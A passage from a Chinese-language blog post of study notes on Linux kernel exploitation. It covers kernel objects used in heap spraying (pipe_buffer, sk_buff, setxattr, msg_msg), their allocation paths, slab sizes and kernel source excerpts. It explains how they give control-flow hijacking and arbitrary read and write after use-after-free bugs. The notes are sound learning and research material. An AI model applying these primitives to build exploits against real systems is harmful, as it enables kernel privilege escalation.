而当buf->ops这个函数表存在时,关闭管道符两端进入上述判断之后,就会调用到其中的pipe_buf_release函数,该函数会调用到这个buf->ops函数表结构下对应的relase函数指针,该指针在上述的pipe_buf_operations结构中有提到

image-20220509193945468

那么如果劫持了buf->ops这个函数表,就能控制到release函数指针,从而劫持控制流程。

不过pipe管道具体的保存的数据放在哪里,还是不太清楚,听bsauce说是在struct pipe_buffer结构下bufpage里面,但是没有找到,后续还需要继续看看,先mark一下。这样也可以看出来,每写入一条信息时,内核的kmalloc对应的堆内存基本是不发生变化的,与下面提到的sk_buff有点不同。

8.sk_buff—kmalloc-512及以上

参考:(31条消息) socketpair的用法和理解_雪过无痕_的博客-CSDN博客_socketpair

和该结构体相关的是一个socketpair系统调用这个也算是socket网络协议的一种,但是是在本地进程之间通信的,而非在网络之间的通信。说到底,这个其实和pipe非常像,也是一个进程间的通信手段。不过相关区分如下:

  • 数据传输模式
    • pipe:单工,发送端fd[1]发送数据,接收端fd[0]接收数据
    • socketpair:全双工,同一时刻两端均可发送和接收数据,无论信道中的数据是否被接收完毕。
  • 模式
    • pipe:由flag来定义不同模式
    • socketpair:默认阻塞状态

此外在《Linux系统编程手册》一书中提到,pipe()函数实际上被实现成了一个对socketpair的调用。

(1)使用方法

①创建

1
2
3
4
5
6
7
8
9
10
#include <sys/socket.h>

//默认必须
int socket_fd[2];
//domain参数必须被指定为AF_UNIX,不同的
int sockPair_return = socketpair(AF_UNIX, SOCK_STREAM, 0, socket_fd);
if( sockPair_return < 0){
perror( "socketpair()" );
exit(1);
}

然后和pipe管道一样,使用write/read即可,不过这个的fd两端都可以写入读取,但是消息传递的时候一端写入消息,就需要从另一端才能把消息读取出来

1
2
3
4
char buf[0x8] = {0};
char* msg = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
write(socket_fd[0],msg,0x8);
read(socket_fd[1],buf,0x8);

②释放

1
2
close(socket_fd[0]);
close(socket_fd[1]);

可以看到和pipe是很相似的。

(2)内存分配与释放

在调用socketpair这个系统调用号时,并不会进行相关的内存分配,只有在使用write来写入消息,进行数据传输时才会分配。

①分配

在调用write进行数据写入时

函数链:

1
write -> ksys_write() -> vfs_write() -> new_sync_write() -> call_write_iter() -> sock_write_iter() -> sock_sendmsg() -> sock_sendmsg_nosec() -> unix_stream_sendmsg()->内存申请/数据复制

unix_stream_sendmsg开始分叉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
//v5.9 /net/unix/af_unix.c
static int unix_stream_sendmsg(struct socket *sock, struct msghdr *msg,
size_t len)
{
struct sock *sk = sock->sk;
struct sock *other = NULL;
int err, size;
struct sk_buff *skb;
int sent = 0;
struct scm_cookie scm;
bool fds_sent = false;
int data_len;
//.....
while (sent < len) {
size = len - sent;
/* Keep two messages in the pipe so it schedules better */
size = min_t(int, size, (sk->sk_sndbuf >> 1) - 64);
/* allow fallback to order-0 allocations */
size = min_t(int, size, SKB_MAX_HEAD(0) + UNIX_SKB_FRAGS_SZ);
data_len = max_t(int, 0, size - SKB_MAX_HEAD(0));
data_len = min_t(size_t, size, PAGE_ALIGN(data_len));
//------------------分叉一:内存申请部分
skb = sock_alloc_send_pskb(sk, size - data_len, data_len,
msg->msg_flags & MSG_DONTWAIT, &err,
get_order(UNIX_SKB_FRAGS_SZ));
//相关检查部分
if (!skb)
goto out_err;
/* Only send the fds in the first buffer */
err = unix_scm_to_skb(&scm, skb, !fds_sent);
if (err < 0) {
kfree_skb(skb);
goto out_err;
}
//.....
//----------------------分叉二:数据复制部分
skb_put(skb, size - data_len);
skb->data_len = data_len;
skb->len = size;
//这里开始进行数据复制
err = skb_copy_datagram_from_iter(skb, 0, &msg->msg_iter, size);
if (err) {
kfree_skb(skb);
goto out_err;
}
//.....
sent += size;
}
//......

return sent;
out_err:
scm_destroy(&scm);
return sent ? : err;
}
A.内存申请

先进行相关内存申请,即sock_alloc_send_pskb() -> alloc_skb_with_frags() -> alloc_skb() -> __alloc_skb()

还是挺长的,但是最重要的还是最后的__alloc_skb函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
//v5.9 /net/core/skbuff.c
struct sk_buff *__alloc_skb(unsigned int size, gfp_t gfp_mask,
int flags, int node)
{
struct kmem_cache *cache;
struct skb_shared_info *shinfo;
struct sk_buff *skb;
u8 *data;
bool pfmemalloc;

cache = (flags & SKB_ALLOC_FCLONE)
? skbuff_fclone_cache : skbuff_head_cache;

if (sk_memalloc_socks() && (flags & SKB_ALLOC_RX))
gfp_mask |= __GFP_MEMALLOC;

/* Get the HEAD */
//从专门的缓存池skbuff_fclone_cache/skbuff_head_cache中申请内存
//作为头部的管理结构
skb = kmem_cache_alloc_node(cache, gfp_mask & ~__GFP_DMA, node);
if (!skb)
goto out;
//......
//先对齐,这个和L1_CACHE_BYTES有关,64位系统即和64(0x40)对齐,32位类似,具体的还是查一下最好
size = SKB_DATA_ALIGN(size);
//size += 对齐之后的0x140
//那么size只可能是0x140+n*0x40,最低为0x180,属于kmalloc-512
size += SKB_DATA_ALIGN(sizeof(struct skb_shared_info));

//虽然是kmalloc_reserve函数,但是最终还是kmalloc形式
//调用到`__kmalloc_node_track_caller`函数进行分配
//这个data即为我们实际的存储数据的地方,也是从kmalloc申请出的堆块
//并且是从对开的开头位置处开始存储,完成内存申请后返回unix_stream_sendmsg函数
//在`skb_copy_datagram_from_iter`函数中数据会被复制
data = kmalloc_reserve(size, gfp_mask, node, &pfmemalloc);
if (!data)
goto nodata;
//...
size = SKB_WITH_OVERHEAD(ksize(data));
//....
//初始化头部的管理结构
memset(skb, 0, offsetof(struct sk_buff, tail));
/* Account for allocated memory : skb + skb->head */
skb->truesize = SKB_TRUESIZE(size);
skb->pfmemalloc = pfmemalloc;
refcount_set(&skb->users, 1);
skb->head = data;
skb->data = data;
skb_reset_tail_pointer(skb);
skb->end = skb->tail + size;
skb->mac_header = (typeof(skb->mac_header))~0U;
skb->transport_header = (typeof(skb->transport_header))~0U;
//...
out:
return skb;
nodata:
kmem_cache_free(cache, skb);
skb = NULL;
goto out;
}
内存申请总结:
  • sk_buff为数据的管理结构从专门的缓存池skbuff_fclone_cache/skbuff_head_cache中申请内存,没办法进行控制
  • skb->data为实际的数据结构
    • size0x140+n*0x40(0x40的倍数补齐)。即如果传入的数据长度为0x3f,则n为1,传入数据为0x41,则n为2。
    • 堆块申请:走kmalloc进行申请,比较常见的种类,方便堆喷。
  • 每调用wirte函数写入一次数据,都会走一遍流程,申请新的sk_buffskb->data,不同消息之间相互独立。
B.数据复制

相关内存申请完成之后,回到unix_stream_sendmsg函数,开始进行数据复制skb_copy_datagram_from_iter,即上述提到的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//v5.9 /net/core/datagram.c
int skb_copy_datagram_from_iter(struct sk_buff *skb, int offset,
struct iov_iter *from,
int len)
{
int start = skb_headlen(skb); // skb->len - skb->data_len;
int i, copy = start - offset; // copy 是线性数据区的剩余空间大小
struct sk_buff *frag_iter;
//拷贝到申请的保存数据的堆块skb->data
if (copy > 0) {
if (copy > len)
copy = len;
if (copy_from_iter(skb->data + offset, copy, from) != copy)
goto fault;
if ((len -= copy) == 0)
return 0;
offset += copy;
}
//....
}

②释放

当从socker套接字中读取出某条信息的所有数据时,就会发生该条信息的相关内存的释放,即该条信息对应sk_buffskb->data的释放。同样的,如果该条信息没有被读取完毕,则不会发生该信息相关内存的释放。

read时进行的函数调用链:

1
read -> ksys_read() -> vfs_read() -> new_sync_read() -> call_read_iter() -> sock_read_iter() -> sock_recvmsg() -> sock_recvmsg_nosec() -> unix_stream_recvmsg() -> unix_stream_read_generic()

同样的在unix_stream_read_generic处开始分叉,也是分为两部分,下面截取重要部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
//v5.9 /net/unix/af_unix.c
static int unix_stream_read_generic(struct unix_stream_read_state *state,
bool freezable)
{
//....
do {
//....
chunk = min_t(unsigned int, unix_skb_len(skb) - skip, size);
skb_get(skb);
//------------------分叉一:数据复制
//recv_actor函数指针是在unix_stream_recvmsg函数中定义的state函数表
//该函数指针对应unix_stream_read_actor函数,即从这开始进行数据复制
chunk = state->recv_actor(skb, skip, chunk, state);
//...
//传输数据完成之后,skb->users从2改为1,表示已经复制完数据了,方便后续判断
//消息中是否还有数据
consume_skb(skb);
if (chunk < 0) {
if (copied == 0)
copied = -EFAULT;
break;
}
copied += chunk;
size -= chunk;

/* Mark read part of skb as used */
if (!(flags & MSG_PEEK)) {
//修改skb类型转换之后对应的consumed字段,其实就是skb->cb某个位置处的数据
//#define UNIXCB(skb) (*(struct unix_skb_parms *)&((skb)->cb))
UNIXCB(skb).consumed += chunk;
//依据上面的consumed和len来判断消息中是否还剩下没有传输的数据
//有(1)则break,无(0)则进入后续的内存释放阶段
if (unix_skb_len(skb))
break;
//------------------------分叉二:内存释放
//内存释放前置工作
skb_unlink(skb, &sk->sk_receive_queue);
//进入该函数,通过对于skb->users的判断之后,进入内存释放阶段
consume_skb(skb);
//....................
} while (size);
//......................
out:
return copied ? : err;
}
A.数据复制

之后的函数调用链为

1
unix_stream_read_actor() -> skb_copy_datagram_msg() -> skb_copy_datagram_iter() -> __skb_datagram_iter()

最终进入__skb_datagram_iter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//v5.9 /net/core/datagram.c
static int __skb_datagram_iter(const struct sk_buff *skb, int offset,
struct iov_iter *to, int len, bool fault_short,
size_t (*cb)(const void *, size_t, void *,
struct iov_iter *), void *data)
{
int start = skb_headlen(skb);
int i, copy = start - offset, start_off = offset, n;
struct sk_buff *frag_iter;

/* Copy header. */
//这个header指的就是数据data,大概就是从这里开始实际的数据
if (copy > 0) {
if (copy > len)
copy = len;
n = INDIRECT_CALL_1(cb, simple_copy_to_iter,
skb->data + offset, copy, data, to);
offset += n;
if (n != copy)
goto short_copy;
if ((len -= copy) == 0)
return 0;
}
//......
/* Copy paged appendix. Hmm... why does this look so complicated? */
//linux内核维护人员都看不下去了,xs
//......
}

这里使用了感觉很复杂的机制,不是很懂。

B.内存释放

进入内存释放的函数调用链为

  • 释放skb->data部分:

    1
    consume_skb()->__kfree_skb()->skb_release_all()->skb_release_all()->skb_release_data()->skb_free_head()

    对应函数如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    //v5.9 /net/core/skbuff.c
    static void skb_free_head(struct sk_buff *skb)
    {
    //其实head和data是一样的
    unsigned char *head = skb->head;
    if (skb->head_frag) {
    if (skb_pp_recycle(skb, head))
    return;
    skb_free_frag(head);
    } else {
    kfree(head);
    }
    }

    可以看到使用的正常的kfree函数

  • 释放skb部分:

    1
    consume_skb()->__kfree_skb()->kfree_skbmem()

    相关函数如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    //v5.9 /net/core/skbuff.c
    static void kfree_skbmem(struct sk_buff *skb)
    {
    struct sk_buff_fclones *fclones;
    //克隆体相关的,没有fork之类的话一般不用太管的
    switch (skb->fclone) {
    case SKB_FCLONE_UNAVAILABLE:
    //用专门的cache(skbuff_head_cache)进行回收
    kmem_cache_free(skbuff_head_cache, skb);
    return;

    case SKB_FCLONE_ORIG:
    fclones = container_of(skb, struct sk_buff_fclones, skb1);

    /* We usually free the clone (TX completion) before original skb
    * This test would have no chance to be true for the clone,
    * while here, branch prediction will be good.
    */
    if (refcount_read(&fclones->fclone_ref) == 1)
    goto fastpath;
    break;

    default: /* SKB_FCLONE_CLONE */
    fclones = container_of(skb, struct sk_buff_fclones, skb2);
    break;
    }
    if (!refcount_dec_and_test(&fclones->fclone_ref))
    return;
    fastpath:
    //用专门的cache(skbuff_fclone_cache)进行回收克隆的skb
    kmem_cache_free(skbuff_fclone_cache, fclones);
    }

    这个就不太好利用了。

    同样的,当关闭的信道的两端,该信道内产生的所有的sk_buffskb->data都会得到释放

内存释放总结:
  • 当从信道中将某条消息全部读取完之后,会发生该条消息对应的sk_buffskb->data的内存释放,且sk_buff释放到专门的缓存池中,skb->data使用正常的kfree释放

  • 当关闭信道两端,该信道内产生的所有的sk_buffskb->data都会得到释放,具体的调用链为:

    1
    sock_close()->__sock_release()->unix_release()->__kfree_skb()

    后面就类似了。

9.setxattr—近乎任意大小

这个总结过,直接扒过来

调用链为

1
SYS_setxattr()->path_setxattr()->setxattr()

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//fs/xattr.c
static long
setxattr(struct user_namespace *mnt_userns, struct dentry *d,
const char __user *name, const void __user *value, size_t size,
int flags)
{
int error;
void *kvalue = NULL;
char kname[XATTR_NAME_MAX + 1];

if (flags & ~(XATTR_CREATE|XATTR_REPLACE))
return -EINVAL;

error = strncpy_from_user(kname, name, sizeof(kname));
if (error == 0 || error == sizeof(kname))
error = -ERANGE;
if (error < 0)
return error;

if (size) {
if (size > XATTR_SIZE_MAX)
return -E2BIG;
//申请chunk,基本相当于kmalloc函数,size可控
kvalue = kvmalloc(size, GFP_KERNEL);
if (!kvalue)
return -ENOMEM;
//从value拷贝内容到kvalue,value可控
if (copy_from_user(kvalue, value, size)) {
error = -EFAULT;
goto out;
}
if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
(strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
posix_acl_fix_xattr_from_user(mnt_userns, kvalue, size);
}

error = vfs_setxattr(mnt_userns, d, kname, kvalue, size, flags);
out:
//释放chunk,基本等于kfree函数
kvfree(kvalue);

return error;
}

关注点在kvmalloccopy_from_userkvfree

kvmalloc中的size可控,copy_from_user中的value可控

也就是说当freelist中存在我们需要修改的chunk,而该chunk又是我们控制的某个设备内存块时,(通过double-free或者UAF实现)那么我们就可以通过setxattr来对该设备内存进行任意写。虽然最后会释放,但是也只会影响内存块中存放下一个chunk地址处的内容0x8个字节,而当我们用不着这个地方的内容时,就不用太关注了。

🔺注:

使用的时候需要注意指定一个当前的exp程序,类似如下,第二个参数字符串任意。

1
setxattr("/tmp/ufdExp", "PIG-007", &buf,0x100,0);

10.msg_msg结构体—kmalloc-16至kmalloc-1024

这个在之前也总结过,不过总结得有些错误,也不太完善,这里再好好总结一下

参照:【NOTES.0x08】Linux Kernel Pwn IV:通用结构体与技巧 - arttnba3’s blog

Linux内核中利用msg_msg结构实现任意地址读写 - 安全客,安全资讯平台 (anquanke.com)

Linux的进程间通信 - 消息队列 · Poor Zorro’s Linux Book (gitbooks.io)

《Linux系统编程手册》

虽然写的是最大kmalloc-1024,但是在堆喷时,可以连续kmalloc(1024)从而获得连续的堆内存分布,这样都释放掉之后再经过回收机制就可以申请到更大的kmallo-xx了。

(1)使用方法

①创建

  • 首先创建queue_id管理标志,对应于内核空间的msg_queue管理结构

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    //key要么使用ftok()算法生成,要么指定为IPC_PRIVATE
    //代表着该消息队列在内核中唯一的标识符
    //使用IPC_PRIVATE会生成全新的消息队列IPC对象
    int32_t make_queue(key_t key, int msg_flag)
    {
    int32_t result;
    if ((result = msgget(key, msg_flag)) == -1)
    {
    perror("msgget failure");
    exit(-1);
    }
    return result;
    }

    int queue_id = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);

    使用简单封装的msgget函数或者系统调用号__NR_msgget,之后保存数据的消息就会在这个queue_id管理标志,以及内核空间的msg_queue管理结构下进行创建

②数据传输

  • 写入消息:

    然后就可以依据queue_id写入消息了,不同于pipesocketpair,这个需要特定的封装函数(msgsnd/msgrcv)或者对应的系统调用(__NR_msgrcv/__NR_msgsnd)来实现。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    typedef struct
    {
    long mtype;
    char mtext[1];
    }msgp;

    //msg_buf实际上为msgp,里面包含mtype,这个mtype在后面的堆块构造中很有用
    void send_msg(int msg_queue_id, void *msg_buf, size_t msg_size, int msg_flag)
    {
    if (msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag) == -1)
    {
    perror("msgsend failure");
    exit(-1);
    }
    return;
    }

    char queue_send_buf[0x2000];
    m_ts_size = 0x400-0x30;//任意指定
    msg *message = (msg *)queue_send_buf;
    message->mtype = 0;
    send_msg(queue_id, message, m_ts_size, 0);
  • 读取消息:

    之后即可依据queue_id读取消息

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    void get_msg(int msg_queue_id, void *msg_buf, size_t msg_size, long msgtyp, int msg_flag)
    {
    if (msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag) < 0)
    {
    perror("msgrcv");
    exit(-1);
    }
    return;
    }

    char queue_recv_buf[0x2000];
    m_ts_size = 0x400-0x30;//任意指定
    get_msg(queue_id, queue_recv_buf, m_ts_size, 0, IPC_NOWAIT | MSG_COPY);
  • mtype

    可通过设置该值来实现不同顺序的消息读取,在之后的堆块构造中很有用

    • 在写入消息时,指定mtype,后续接收消息时可以依据此mtype来进行非顺序接收
    • 在读取消息时,指定msgtyp,分为如下情况
      • msgtyp大于0:那么在find_msg函数中,就会将遍历寻找消息队列里的第一条等于msgtyp的消息,然后进行后续操作。
      • msgtyp等于0:即类似于顺序读取,find_msg函数会直接获取到消息队列首个消息。
      • msgtyp小于0:会将等待的消息当成优先队列来处理,mtype的值越小,其优先级越高。
  • msg_flag

可以关注一下MSG_NOERROR标志位,比如说msg_flag没有设置MSG_NOERROR的时候,那么情况如下:

假定获取消息时输入的长度m_ts_size0x200,且这个长度大于通过find_msg()函数获取到的消息长度0x200,则可以顺利读取,如果该长度小于获取到的消息长度0x200,则会出现如下错误

但是如果设置了MSG_NOERROR,那么即使传入接收消息的长度小于获取到的消息长度,仍然可以顺利获取,但是多余的消息会被截断,相关内存还是会被释放,这个在源代码中也有所体现。

1
2
3
4
5
//v5.11 /ipc/msg.c do_msgrcv函数中
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
msg = ERR_PTR(-E2BIG);
goto out_unlock0;
}

此外还有更多的msg_flag,就不一一举例了。

③释放

这个主要是用到msgctl封装函数或者__NR_msgctl系统调用,直接释放掉所有的消息结构,包括申请的msg_queue的结构

1
2
3
4
5
6
//其中IPC_RMID这个cmd命令代表释放掉该消息队列的所有消息,各种内存结构体等
if(msgctl(queue_id),IPC_RMID,NULL)==-1)
{
perror("msgctl");
exit(-1);
}

不过一般也用不到,可能某些合并obj的情况能用到?

此外还有更多的cmd命令,常用来设置内核空间的msg_queue结构上的相关数据,不过多介绍了。

总结

总结一下大致的使用方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
typedef struct
{
long mtype;
char mtext[1];
}msgp;

int32_t make_queue(key_t key, int msg_flag)
{
int32_t result;
if ((result = msgget(key, msg_flag)) == -1)
{
perror("msgget failure");
exit(-1);
}
return result;
}



void get_msg(int msg_queue_id, void *msg_buf, size_t msg_size, long msgtyp, int msg_flag)
{
if (msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag) < 0)
{
perror("msgrcv");
exit(-1);
}
return;
}

void send_msg(int msg_queue_id, void *msg_buf, size_t msg_size, int msg_flag)
{
if (msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag) == -1)
{
perror("msgsend failure");
exit(-1);
}
return;
}


int main()
{
int queue_id, m_ts_size;
char queue_recv_buf[0x2000];
char queue_send_buf[0x2000];

m_ts_size = 0x400-0x30;
msgp *message = (msgp *)queue_send_buf;
message->mtype = 0;

memset(message->mtext,'\xaa', m_ts_size);
memset(queue_recv_buf, '\xbb', sizeof(queue_recv_buf));

queue_id = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(queue_id, message, m_ts_size, 0);
get_msg(queue_id, queue_recv_buf, m_ts_size, 0, IPC_NOWAIT | MSG_COPY);

return 0;
}

(2)内存分配与释放

①创建

A.内存申请
  • 还是需要先创建msg_queue结构体,使用msgget函数,调用链为

    1
    msgget(key,msg_flag)->ksys_msgget()->ipcget()->ipcget_new()->newque()

    主要还是关注最后的newque()函数,在该函数中使用kvmalloc()申请堆块,大小为0x100,属于kmalloc-256,(不同版本大小貌似不同)。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    //v5.11 /ipc/msg.c
    static int newque(struct ipc_namespace *ns, struct ipc_params *params)
    {
    struct msg_queue *msq;
    int retval;
    key_t key = params->key;
    int msgflg = params->flg;

    //这个才是实际申请的堆块内存
    msq = kvmalloc(sizeof(*msq), GFP_KERNEL);
    if (unlikely(!msq))
    return -ENOMEM;

    msq->q_perm.mode = msgflg & S_IRWXUGO;
    msq->q_perm.key = key;

    msq->q_perm.security = NULL;
    //进行相关注册
    retval = security_msg_queue_alloc(&msq->q_perm);
    if (retval) {
    kvfree(msq);
    return retval;
    }

    //初始化
    msq->q_stime = msq->q_rtime = 0;
    msq->q_ctime = ktime_get_real_seconds();
    msq->q_cbytes = msq->q_qnum = 0;
    msq->q_qbytes = ns->msg_ctlmnb;
    msq->q_lspid = msq->q_lrpid = NULL;
    INIT_LIST_HEAD(&msq->q_messages);
    INIT_LIST_HEAD(&msq->q_receivers);
    INIT_LIST_HEAD(&msq->q_senders);

    //下面一堆看不懂在干啥
    /* ipc_addid() locks msq upon success. */
    retval = ipc_addid(&msg_ids(ns), &msq->q_perm, ns->msg_ctlmni);
    if (retval < 0) {
    ipc_rcu_putref(&msq->q_perm, msg_rcu_free);
    return retval;
    }
    ipc_unlock_object(&msq->q_perm);
    rcu_read_unlock();

    return msq->q_perm.id;
    }

    创建的结构体如下所示

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    //v5.11 /ipc/msg.c
    struct msg_queue {
    //这些为一些相关信息
    struct kern_ipc_perm q_perm;
    time64_t q_stime; /* last msgsnd time */
    time64_t q_rtime; /* last msgrcv time */
    time64_t q_ctime; /* last change time */
    unsigned long q_cbytes; /* current number of bytes on queue */
    unsigned long q_qnum; /* number of messages in queue */
    unsigned long q_qbytes; /* max number of bytes on queue */
    struct pid *q_lspid; /* pid of last msgsnd */
    struct pid *q_lrpid; /* last receive pid */

    //存放msg_msg相关指针next、prev,比较重要,通常拿来溢出制造UAF
    //和该消息队列里的所有消息组成双向循环链表
    struct list_head q_messages;
    struct list_head q_receivers;
    struct list_head q_senders;
    } __randomize_layout;

  • 接着当使用msgsnd函数传递消息时,会创建新的msg_msg结构体,消息过长的话就会创建更多的msg_msgseg来存储更多的消息。相关的函数调用链如下:

    1
    msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag)->do_msgsnd()->load_msg()->alloc_msg()

    主要还是关注在alloc_msg()函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    //v5.11 /ipc/msgutil.c
    static struct msg_msg *alloc_msg(size_t len)
    {
    struct msg_msg *msg;
    struct msg_msgseg **pseg;
    size_t alen;

    //最大发送DATALEN_MSG长度的消息
    //#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
    //这里的PAGE_SIZE为0x400,即最多kmalloc-
    alen = min(len, DATALEN_MSG);
    //使用正常
    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
    if (msg == NULL)
    return NULL;

    //如果传入消息长度超过0x400-0x30,就再进行申请msg_msgseg。
    //使用kmalloc申请,标志为GFP_KERNEL_ACCOUNT。
    //最大也为0x400,也属于kmalloc-1024
    //还有再长的消息,就再申请msg_msgseg
    msg->next = NULL;
    msg->security = NULL;
    len -= alen;
    pseg = &msg->next;
    while (len > 0) {
    struct msg_msgseg *seg;
    //不知道干啥的
    cond_resched();

    alen = min(len, DATALEN_SEG);
    seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
    //申请完之后,将msg_msgseg放到msg->next这个单向链表上
    if (seg == NULL)
    goto out_err;
    *pseg = seg;
    seg->next = NULL;
    pseg = &seg->next;
    len -= alen;
    }

    return msg;

    out_err:
    free_msg(msg);
    return NULL;
    }
    • msg_msg结构体如下,头部大小0x30

      1
      2
      3
      4
      5
      6
      7
      8
      9
      //v5.11 /include/linux/msg.h
      struct msg_msg {
      struct list_head m_list;//与msg_queue或者其他的msg_msg组成双向循环链表
      long m_type;
      size_t m_ts; /* message text size */
      struct msg_msgseg *next;//单向链表,指向该条信息后面的msg_msgseg
      void *security;
      /* the actual message follows immediately */
      };

      如下所示

      image-20220511220130886
    • msg_msgseq结构如下,只是一个struct msg_msgseg*指针

      1
      2
      3
      4
      5
      //v5.11 /ipc/msgutil.c
      struct msg_msgseg {
      struct msg_msgseg *next;
      /* the next part of the message follows immediately */
      };

      如下所示

      image-20220511220627775
相关内存结构:

在一个msg_queue队列下,消息长度为0x1000-0x30-0x8-0x8-0x8

  • 一条消息:

    image-20220511231539231

  • 两条消息:

    msg_queuestruct list_head q_messages;域为链表头,和msg_msg结构的struct list_head m_list域串联所有的msg_msg形成双向循环链表

    未命名文件

同理,同一个msg_queue消息队列下的多条消息也是类似的

内存申请总结:
  • 使用msgget()函数创建内核空间的消息队列结构msg_msgseg,返回值为消息队列的id标志queue_id
    • msg_msgseg管理整个消息队列,大小为0x100,kmalloc-256
    • struct list_head q_messages;域为链表头,和msg_msg结构的struct list_head m_list域串联所有的msg_msg形成双向循环链表
  • 每次在该消息队列queue_id下调用msgsnd()函数都会申请内核空间的msg_msg结构,消息长度大于0x400-0x30就会申请内核空间的msg_msgseg结构
    • msg_msg为每条消息存放消息数据的结构,与msg_queue形成双向循环链表,与msg_msgseg形成单向链表大小最大为0x400,属于kmalloc-64kmalloc-1024
    • msg_msgseg也为每条消息存放消息数据的结构,挂在msg_msg单向链表中,大小最大为0x400,属于kmalloc-16kmalloc-1024,当消息长度很长时就会申请很多的内核空间的msg_msgseg结构。
B.数据复制

调用完alloc_msg()函数后,回到load_msg()函数接着进行数据复制,函数还是挺简单的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;

msg = alloc_msg(len);
if (msg == NULL)
return ERR_PTR(-ENOMEM);

//先复制进msg_msg中存放消息的部分
alen = min(len, DATALEN_MSG);
if (copy_from_user(msg + 1, src, alen))
goto out_err;

//遍历msg_msg下的msg_msgseg,逐个存放数据进去
for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}

err = security_msg_msg_alloc(msg);
if (err)
goto out_err;

return msg;

out_err:
free_msg(msg);
return ERR_PTR(err);
}

②释放

相关的函数调用链

1
msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag)->SYS_msgrcv()->ksys_msgrcv()->do_msgrcv()->do_msg_fill()->store_msg()

首先关注一下do_msgrcv()函数,里面很多东西都比较重要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
int mode;
struct msg_queue *msq;
struct ipc_namespace *ns;
struct msg_msg *msg, *copy = NULL;
DEFINE_WAKE_Q(wake_q);
//....
if (msqid < 0 || (long) bufsz < 0)
return -EINVAL;
//设置了MSG_COPY标志位就会准备一个msg_msg的副本copy,通常用来防止unlink
if (msgflg & MSG_COPY) {
//从这里可以看出,同样也需要设置IPC_NOWAIT标志位才不会出错
if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
return -EINVAL;
//这个prepare_copy()函数内部调用了load_msg()函数来创建一个新的msg_msg/msg_msgseg
//传入的size参数为bufsz,就用户空间实际需要消息的长度,那么申请的堆块长度就可变了
//不一定是这条消息的长度,而是由我们直接控制,虽然最后也会释放掉
copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
/*
